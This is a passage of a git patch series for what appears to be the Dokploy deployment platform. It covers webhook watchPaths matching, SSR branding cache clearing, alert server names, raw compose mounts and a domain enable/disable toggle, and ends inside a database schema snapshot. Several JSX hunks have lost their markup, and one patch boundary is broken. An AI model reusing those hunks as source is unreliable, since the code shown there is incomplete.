-export async function getServerSideProps(_context: GetServerSidePropsContext) {
+export async function getServerSideProps(context: GetServerSidePropsContext) {
if (!IS_CLOUD) {
return {
redirect: {
@@ -175,7 +178,24 @@ export async function getServerSideProps(_context: GetServerSidePropsContext) {
};
}
+ const helpers = createServerSideHelpers({
+ router: appRouter,
+ ctx: {
+ req: context.req as any,
+ res: context.res as any,
+ db: null as any,
+ session: null as any,
+ user: null as any,
+ },
+ transformer: superjson,
+ });
+ // Prefetch the public branding so the logo and app name render
+ // correctly on the server (no flash of default branding).
+ await helpers.whitelabeling.getPublic.prefetch();
+
return {
- props: {},
+ props: {
+ trpcState: helpers.dehydrate(),
+ },
};
}
diff --git a/apps/dokploy/server/api/routers/proprietary/whitelabeling.ts b/apps/dokploy/server/api/routers/proprietary/whitelabeling.ts
index bca5a14e1..6bc0d0f8f 100644
--- a/apps/dokploy/server/api/routers/proprietary/whitelabeling.ts
+++ b/apps/dokploy/server/api/routers/proprietary/whitelabeling.ts
@@ -14,6 +14,14 @@ import {
publicProcedure,
} from "../../trpc";
+/** Invalidate the SSR branding caches in _document.tsx so the next request picks up fresh settings. */
+function clearBrandingSSRCache() {
+ globalThis.__SETTINGS_CACHE = null;
+ if (globalThis.__FAVICON_CACHE) {
+ globalThis.__FAVICON_CACHE.clear();
+ }
+}
+
export const whitelabelingRouter = createTRPCRouter({
get: protectedProcedure.query(async ({ ctx }) => {
if (IS_CLOUD) {
@@ -47,6 +55,9 @@ export const whitelabelingRouter = createTRPCRouter({
whitelabelingConfig: input.whitelabelingConfig,
});
+ // Clear the cache so Next.js SSR applies changes immediately
+ clearBrandingSSRCache();
+
return { success: true };
}),
@@ -82,6 +93,9 @@ export const whitelabelingRouter = createTRPCRouter({
},
});
+ // Clear the cache so Next.js SSR applies changes immediately
+ clearBrandingSSRCache();
+
return { success: true };
}),
From 2df02f596afe6cd8e9cd4c015d2393cea709a252 Mon Sep 17 00:00:00 2001
From: Antigravity AI
Date: Thu, 9 Jul 2026 00:06:10 +0300
Subject: [PATCH 031/419] fix(webhook): include added and removed files in
watchPaths validation
Currently, Dokploy only extracts modified files from webhook payloads.
This causes watchPaths to fail matching commits that only add or remove files (such as adding new routes or deleting files), preventing auto-deployments.
This commit updates the commit parsing logic to aggregate added, modified, and removed files.
---
.../pages/api/deploy/[refreshToken].ts | 56 ++++++++++++-------
.../api/deploy/compose/[refreshToken].ts | 48 ++++++++++------
apps/dokploy/pages/api/deploy/github.ts | 8 ++-
3 files changed, 70 insertions(+), 42 deletions(-)
diff --git a/apps/dokploy/pages/api/deploy/[refreshToken].ts b/apps/dokploy/pages/api/deploy/[refreshToken].ts
index bb6eb06d3..9cf6142d2 100644
--- a/apps/dokploy/pages/api/deploy/[refreshToken].ts
+++ b/apps/dokploy/pages/api/deploy/[refreshToken].ts
@@ -119,9 +119,11 @@ export default async function handler(
}
// If webhook doesn't provide image info, we'll use the configured image (old behavior)
} else if (sourceType === "github") {
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
application.watchPaths,
@@ -150,21 +152,29 @@ export default async function handler(
let normalizedCommits: string[] = [];
if (provider === "github") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
} else if (provider === "gitlab") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
} else if (provider === "gitea") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
} else if (provider === "soft-serve") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
}
const shouldDeployPaths = shouldDeploy(
@@ -179,9 +189,11 @@ export default async function handler(
} else if (sourceType === "gitlab") {
const branchName = extractBranchName(req.headers, req.body);
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
application.watchPaths,
@@ -225,9 +237,11 @@ export default async function handler(
} else if (sourceType === "gitea") {
const branchName = extractBranchName(req.headers, req.body);
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
application.watchPaths,
diff --git a/apps/dokploy/pages/api/deploy/compose/[refreshToken].ts b/apps/dokploy/pages/api/deploy/compose/[refreshToken].ts
index 85a379eb3..0d83c1017 100644
--- a/apps/dokploy/pages/api/deploy/compose/[refreshToken].ts
+++ b/apps/dokploy/pages/api/deploy/compose/[refreshToken].ts
@@ -54,9 +54,11 @@ export default async function handler(
if (sourceType === "github") {
const branchName = extractBranchName(req.headers, req.body);
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
composeResult.watchPaths,
@@ -74,9 +76,11 @@ export default async function handler(
}
} else if (sourceType === "gitlab") {
const branchName = extractBranchName(req.headers, req.body);
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
composeResult.watchPaths,
@@ -125,17 +129,23 @@ export default async function handler(
let normalizedCommits: string[] = [];
if (provider === "github") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
} else if (provider === "gitlab") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
} else if (provider === "gitea") {
- normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
}
const shouldDeployPaths = shouldDeploy(
@@ -150,9 +160,11 @@ export default async function handler(
} else if (sourceType === "gitea") {
const branchName = extractBranchName(req.headers, req.body);
- const normalizedCommits = req.body?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const shouldDeployPaths = shouldDeploy(
composeResult.watchPaths,
diff --git a/apps/dokploy/pages/api/deploy/github.ts b/apps/dokploy/pages/api/deploy/github.ts
index f03bf786e..4fc75fc50 100644
--- a/apps/dokploy/pages/api/deploy/github.ts
+++ b/apps/dokploy/pages/api/deploy/github.ts
@@ -223,9 +223,11 @@ export default async function handler(
const deploymentTitle = extractCommitMessage(req.headers, req.body);
const deploymentHash = extractHash(req.headers, req.body);
const owner = getGithubRepositoryOwner(githubBody);
- const normalizedCommits = githubBody?.commits?.flatMap(
- (commit: any) => commit.modified,
- );
+ const normalizedCommits = githubBody?.commits?.flatMap((commit: any) => [
+ ...(commit.added || []),
+ ...(commit.modified || []),
+ ...(commit.removed || []),
+ ]);
const apps = await db.query.applications.findMany({
where: and(
From f23b5b9532f52c7ed5f528c9ac69713a3c55bcba Mon Sep 17 00:00:00 2001
From: Yash Kumar
Date: Thu, 9 Jul 2026 15:05:51 +0530
Subject: [PATCH 032/419] fix(typecheck): fix twoFactorRedirect typescript
error
---
apps/dokploy/pages/index.tsx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/apps/dokploy/pages/index.tsx b/apps/dokploy/pages/index.tsx
index bf3519a6f..901bc88ae 100644
--- a/apps/dokploy/pages/index.tsx
+++ b/apps/dokploy/pages/index.tsx
@@ -110,7 +110,7 @@ export default function Home({ IS_CLOUD, enforceSSO }: Props) {
return;
}
- if (data?.twoFactorRedirect as boolean) {
+ if (data && 'twoFactorRedirect' in data && data.twoFactorRedirect) {
setTwoFactorCode("");
setIsTwoFactor(true);
toast.info("Please enter your 2FA code");
From 5344945f83f88e437967fad2fd55158e14c22335 Mon Sep 17 00:00:00 2001
From: "autofix-ci[bot]" <114827586+autofix-ci[bot]@users.noreply.github.com>
Date: Thu, 9 Jul 2026 09:37:31 +0000
Subject: [PATCH 033/419] [autofix.ci] apply automated fixes
---
apps/dokploy/pages/index.tsx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/apps/dokploy/pages/index.tsx b/apps/dokploy/pages/index.tsx
index 901bc88ae..b96ac5ab0 100644
--- a/apps/dokploy/pages/index.tsx
+++ b/apps/dokploy/pages/index.tsx
@@ -110,7 +110,7 @@ export default function Home({ IS_CLOUD, enforceSSO }: Props) {
return;
}
- if (data && 'twoFactorRedirect' in data && data.twoFactorRedirect) {
+ if (data && "twoFactorRedirect" in data && data.twoFactorRedirect) {
setTwoFactorCode("");
setIsTwoFactor(true);
toast.info("Please enter your 2FA code");
From e19dd432933c1f1f3deaaf4f0dffe25fac21069c Mon Sep 17 00:00:00 2001
From: PixelPerfector
Date: Fri, 10 Jul 2026 17:51:34 +0300
Subject: [PATCH 034/419] fix(notifications): use real server name in remote
threshold alerts
Server CPU/Memory threshold notifications for remote servers always
showed "Server Name: Remote" instead of the actual server name, making
it impossible to tell which server triggered the alert when more than
one remote server is registered.
The remote branch of receiveNotification already fetches the matching
server row (looked up by its metrics token) but discarded it, hardcoding
ServerName to the literal "Remote". Use the fetched row's name instead,
falling back to "Remote" if it is somehow absent.
Co-Authored-By: Claude Opus 4.8 (1M context)
---
apps/dokploy/server/api/routers/notification.ts | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/apps/dokploy/server/api/routers/notification.ts b/apps/dokploy/server/api/routers/notification.ts
index dd96bc302..ae1c35d12 100644
--- a/apps/dokploy/server/api/routers/notification.ts
+++ b/apps/dokploy/server/api/routers/notification.ts
@@ -535,7 +535,7 @@ export const notificationRouter = createTRPCRouter({
}
organizationId = result?.[0]?.organizationId;
- ServerName = "Remote";
+ ServerName = result?.[0]?.name ?? "Remote";
}
await sendServerThresholdNotifications(organizationId, {
From e43d99e7965bfff67b642a734a313d211faec3bf Mon Sep 17 00:00:00 2001
From: Yusoof Moh
Date: Sat, 11 Jul 2026 13:03:30 +0700
Subject: [PATCH 035/419] fix(compose): Preserve raw remote mounts
Use the saved raw compose source during conversion instead of reading a potentially stale remote materialization. Preserve tmpfs declarations and long-syntax volume mounts through preview and stack deployment.
Fixes #4794
Co-Authored-By: Codex
---
.../compose/domain/raw-compose.test.ts | 59 +++++++++++++++++++
packages/server/src/utils/docker/domain.ts | 6 +-
2 files changed, 64 insertions(+), 1 deletion(-)
create mode 100644 apps/dokploy/__test__/compose/domain/raw-compose.test.ts
diff --git a/apps/dokploy/__test__/compose/domain/raw-compose.test.ts b/apps/dokploy/__test__/compose/domain/raw-compose.test.ts
new file mode 100644
index 000000000..abee0dc59
--- /dev/null
+++ b/apps/dokploy/__test__/compose/domain/raw-compose.test.ts
@@ -0,0 +1,59 @@
+import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
+import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
+import { describe, expect, it, vi } from "vitest";
+
+vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
+ ...(await importOriginal<
+ typeof import("@dokploy/server/utils/process/execAsync")
+ >()),
+ execAsyncRemote: vi.fn(),
+}));
+
+describe("raw remote compose conversion (#4794)", () => {
+ it("uses the saved raw source and preserves supported mount syntax", async () => {
+ vi.mocked(execAsyncRemote).mockResolvedValue({
+ stdout: "services:\n test:\n image: alpine:latest\n",
+ stderr: "",
+ });
+
+ const compose = {
+ appName: "raw-stack",
+ composeFile: `
+services:
+ test:
+ image: alpine:latest
+ volumes:
+ - type: tmpfs
+ target: /scratch
+ - type: volume
+ source: test-data
+ target: /data
+ tmpfs:
+ - /cache
+volumes:
+ test-data:
+`,
+ composePath: "./docker-compose.yml",
+ composeType: "stack",
+ isolatedDeployment: false,
+ isolatedDeploymentsVolume: false,
+ randomize: false,
+ serverId: "remote-server",
+ sourceType: "raw",
+ suffix: "",
+ } as unknown as Parameters[0];
+
+ const converted = await addDomainToCompose(compose, []);
+
+ expect(converted?.services?.test?.volumes).toEqual([
+ { type: "tmpfs", target: "/scratch" },
+ {
+ type: "volume",
+ source: "test-data",
+ target: "/data",
+ },
+ ]);
+ expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
+ expect(execAsyncRemote).not.toHaveBeenCalled();
+ });
+});
diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts
index 8094f1df2..c61d9fb21 100644
--- a/packages/server/src/utils/docker/domain.ts
+++ b/packages/server/src/utils/docker/domain.ts
@@ -139,7 +139,11 @@ export const addDomainToCompose = async (
let result: ComposeSpecification | null;
- if (compose.serverId) {
+ if (compose.sourceType === "raw") {
+ result = parse(compose.composeFile, {
+ maxAliasCount: 10000,
+ }) as ComposeSpecification;
+ } else if (compose.serverId) {
result = await loadDockerComposeRemote(compose);
} else {
result = await loadDockerCompose(compose);
From 898af1f74ccc5fb7480f5146fd1c1f7a843cde97 Mon Sep 17 00:00:00 2001
From: Vyacheslav Scherbinin
Date: Thu, 25 Jun 2026 00:01:22 +0700
Subject: [PATCH 036/419] feat(domains): show redeploy hint on all compose
domain actions
Compose domains are rendered as docker labels and only take effect on the
next deployment. Extract the "redeploy required" notice into a reusable
component/strings and surface it consistently: as a banner in the domains
list, in the add/edit dialog (replacing the inline copy), and in the toast
shown after create/update/delete. Unify grid deletion onto the shared
handler so the hint applies in both grid and table views.
Groundwork for the upcoming domain enable/disable toggle.
Co-Authored-By: Claude Opus 4.8 (1M context)
---
.../application/domains/handle-domain.tsx | 15 ++++++-----
.../application/domains/redeploy-hint.tsx | 19 ++++++++++++++
.../application/domains/show-domains.tsx | 26 +++++++++----------
3 files changed, 40 insertions(+), 20 deletions(-)
create mode 100644 apps/dokploy/components/dashboard/application/domains/redeploy-hint.tsx
diff --git a/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx b/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx
index be8901921..8bb763add 100644
--- a/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx
+++ b/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx
@@ -46,6 +46,7 @@ import {
TooltipTrigger,
} from "@/components/ui/tooltip";
import { api } from "@/utils/api";
+import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
export type CacheType = "fetch" | "cache";
@@ -300,7 +301,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
})
.then(async () => {
- toast.success(dictionary.success);
+ toast.success(
+ dictionary.success,
+ data.domainType === "compose"
+ ? { description: COMPOSE_REDEPLOY_TOAST }
+ : undefined,
+ );
if (data.domainType === "application") {
await utils.domain.byApplicationId.invalidate({
@@ -337,12 +343,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
{isError && {error?.message} }
- {type === "compose" && (
-
- Whenever you make changes to domains, remember to redeploy your
- compose to apply the changes.
-
- )}
+ {type === "compose" && }
+ {type === "compose" && data && data.length > 0 && (
+
+
+
+ )}
{isLoadingDomains ? (
@@ -466,18 +477,7 @@ export const ShowDomains = ({ id, type }: Props) => {
description="Are you sure you want to delete this domain?"
type="destructive"
onClick={async () => {
- await deleteDomain({
- domainId: item.domainId,
- })
- .then((_data) => {
- refetch();
- toast.success(
- "Domain deleted successfully",
- );
- })
- .catch(() => {
- toast.error("Error deleting domain");
- });
+ await handleDeleteDomain(item.domainId);
}}
>
Date: Thu, 25 Jun 2026 00:08:53 +0700
Subject: [PATCH 037/419] feat(domains): add enable/disable toggle for domains
Add an `enabled` flag (default true) so a domain can be switched off
without deleting it, preserving its configuration.
- schema: new `enabled` column + migration; added to apiUpdateDomain
- traefik (applications): guard manageDomain so a disabled domain never
exposes a router from any caller (create/update/forward-auth/toggle);
applies instantly through the file provider
- compose: skip disabled domains when generating docker labels, so the
change applies on the next deployment
- tRPC: new domain.toggleEnable procedure (permission-checked + audited),
returns requiresRedeploy for compose domains
- UI: switch on the domain card (host row, variant E) and a Status column
in the table view; disabled cards are dimmed; reuses the compose
redeploy hint for the toast
Co-Authored-By: Claude Opus 4.8 (1M context)
---
.../dashboard/application/domains/columns.tsx | 31 +
.../application/domains/show-domains.tsx | 73 +-
.../drizzle/0175_rare_omega_flight.sql | 1 +
apps/dokploy/drizzle/meta/0175_snapshot.json | 8558 +++++++++++++++++
apps/dokploy/drizzle/meta/_journal.json | 7 +
apps/dokploy/server/api/routers/domain.ts | 52 +
packages/server/src/db/schema/domain.ts | 2 +
packages/server/src/utils/docker/domain.ts | 3 +-
packages/server/src/utils/traefik/domain.ts | 9 +
9 files changed, 8725 insertions(+), 11 deletions(-)
create mode 100644 apps/dokploy/drizzle/0175_rare_omega_flight.sql
create mode 100644 apps/dokploy/drizzle/meta/0175_snapshot.json
diff --git a/apps/dokploy/components/dashboard/application/domains/columns.tsx b/apps/dokploy/components/dashboard/application/domains/columns.tsx
index b88443dcc..0c3defe14 100644
--- a/apps/dokploy/components/dashboard/application/domains/columns.tsx
+++ b/apps/dokploy/components/dashboard/application/domains/columns.tsx
@@ -14,6 +14,7 @@ import Link from "next/link";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
+import { Switch } from "@/components/ui/switch";
import {
Tooltip,
TooltipContent,
@@ -35,7 +36,9 @@ interface ColumnsProps {
validationStates: ValidationStates;
handleValidateDomain: (host: string) => Promise;
handleDeleteDomain: (domainId: string) => Promise;
+ handleToggleEnable: (domainId: string) => Promise;
isDeleting: boolean;
+ isToggling: boolean;
serverIp?: string;
canCreateDomain: boolean;
canDeleteDomain: boolean;
@@ -47,7 +50,9 @@ export const createColumns = ({
validationStates,
handleValidateDomain,
handleDeleteDomain,
+ handleToggleEnable,
isDeleting,
+ isToggling,
serverIp,
canCreateDomain,
canDeleteDomain,
@@ -247,6 +252,32 @@ export const createColumns = ({
);
},
},
+ {
+ id: "status",
+ header: "Status",
+ cell: ({ row }) => {
+ const domain = row.original;
+ if (!canCreateDomain) {
+ return (
+
+ {domain.enabled ? "Enabled" : "Disabled"}
+
+ );
+ }
+ return (
+
+ handleToggleEnable(domain.domainId)}
+ disabled={isToggling}
+ />
+
+ {domain.enabled ? "Enabled" : "Disabled"}
+
+
+ );
+ },
+ },
{
id: "actions",
header: "Actions",
diff --git a/apps/dokploy/components/dashboard/application/domains/show-domains.tsx b/apps/dokploy/components/dashboard/application/domains/show-domains.tsx
index d3497b49a..f4556340a 100644
--- a/apps/dokploy/components/dashboard/application/domains/show-domains.tsx
+++ b/apps/dokploy/components/dashboard/application/domains/show-domains.tsx
@@ -44,6 +44,7 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input";
+import { Switch } from "@/components/ui/switch";
import {
Table,
TableBody,
@@ -58,6 +59,7 @@ import {
TooltipProvider,
TooltipTrigger,
} from "@/components/ui/tooltip";
+import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
import { createColumns } from "./columns";
import { DnsHelperModal } from "./dns-helper-modal";
@@ -147,6 +149,23 @@ export const ShowDomains = ({ id, type }: Props) => {
api.domain.validateDomain.useMutation();
const { mutateAsync: deleteDomain, isPending: isRemoving } =
api.domain.delete.useMutation();
+ const { mutateAsync: toggleEnable, isPending: isToggling } =
+ api.domain.toggleEnable.useMutation();
+
+ const handleToggleEnable = async (domainId: string) => {
+ try {
+ const result = await toggleEnable({ domainId });
+ refetch();
+ toast.success(
+ result.enabled ? "Domain enabled" : "Domain disabled",
+ result.requiresRedeploy
+ ? { description: COMPOSE_REDEPLOY_TOAST }
+ : undefined,
+ );
+ } catch {
+ toast.error("Error updating the domain");
+ }
+ };
const handleDeleteDomain = async (domainId: string) => {
try {
@@ -206,7 +225,9 @@ export const ShowDomains = ({ id, type }: Props) => {
validationStates,
handleValidateDomain,
handleDeleteDomain,
+ handleToggleEnable,
isDeleting: isRemoving,
+ isToggling,
serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
canCreateDomain,
canDeleteDomain,
@@ -424,7 +445,10 @@ export const ShowDomains = ({ id, type }: Props) => {
return (
@@ -492,15 +516,44 @@ export const ShowDomains = ({ id, type }: Props) => {
)}
-
-
- {item.host}
-
-
+
+
+
+ {item.host}
+
+
+
+ {canCreateDomain && (
+
+
+
+
+
+ handleToggleEnable(item.domainId)
+ }
+ disabled={isToggling}
+ />
+
+ {item.enabled ? "Enabled" : "Disabled"}
+
+
+
+
+
+ {item.enabled
+ ? "Domain is active. Toggle to disable routing without deleting it."
+ : "Domain is disabled and not routed. Toggle to enable it again."}
+
+
+
+
+ )}
{/* Domain Details */}
diff --git a/apps/dokploy/drizzle/0175_rare_omega_flight.sql b/apps/dokploy/drizzle/0175_rare_omega_flight.sql
new file mode 100644
index 000000000..ed69c11e3
--- /dev/null
+++ b/apps/dokploy/drizzle/0175_rare_omega_flight.sql
@@ -0,0 +1 @@
+ALTER TABLE "domain" ADD COLUMN "enabled" boolean DEFAULT true NOT NULL;
\ No newline at end of file
diff --git a/apps/dokploy/drizzle/meta/0175_snapshot.json b/apps/dokploy/drizzle/meta/0175_snapshot.json
new file mode 100644
index 000000000..0869cb15c
--- /dev/null
+++ b/apps/dokploy/drizzle/meta/0175_snapshot.json
@@ -0,0 +1,8558 @@
+{
+ "id": "5163b940-1c36-4d3f-b85e-2809d5059fba",
+ "prevId": "daaa9837-09f3-452c-b5ba-232c3d6eeca2",
+ "version": "7",
+ "dialect": "postgresql",
+ "tables": {
+ "public.account": {
+ "name": "account",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "account_id": {
+ "name": "account_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "provider_id": {
+ "name": "provider_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "access_token": {
+ "name": "access_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refresh_token": {
+ "name": "refresh_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "id_token": {
+ "name": "id_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "access_token_expires_at": {
+ "name": "access_token_expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refresh_token_expires_at": {
+ "name": "refresh_token_expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scope": {
+ "name": "scope",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "is2FAEnabled": {
+ "name": "is2FAEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resetPasswordToken": {
+ "name": "resetPasswordToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resetPasswordExpiresAt": {
+ "name": "resetPasswordExpiresAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "confirmationToken": {
+ "name": "confirmationToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "confirmationExpiresAt": {
+ "name": "confirmationExpiresAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "account_user_id_user_id_fk": {
+ "name": "account_user_id_user_id_fk",
+ "tableFrom": "account",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.apikey": {
+ "name": "apikey",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "start": {
+ "name": "start",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "prefix": {
+ "name": "prefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "key": {
+ "name": "key",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "config_id": {
+ "name": "config_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'default'"
+ },
+ "reference_id": {
+ "name": "reference_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "refill_interval": {
+ "name": "refill_interval",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refill_amount": {
+ "name": "refill_amount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "last_refill_at": {
+ "name": "last_refill_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rate_limit_enabled": {
+ "name": "rate_limit_enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rate_limit_time_window": {
+ "name": "rate_limit_time_window",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rate_limit_max": {
+ "name": "rate_limit_max",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "request_count": {
+ "name": "request_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "remaining": {
+ "name": "remaining",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "last_request": {
+ "name": "last_request",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "permissions": {
+ "name": "permissions",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "apikey_reference_id_user_id_fk": {
+ "name": "apikey_reference_id_user_id_fk",
+ "tableFrom": "apikey",
+ "tableTo": "user",
+ "columnsFrom": [
+ "reference_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.invitation": {
+ "name": "invitation",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "inviter_id": {
+ "name": "inviter_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
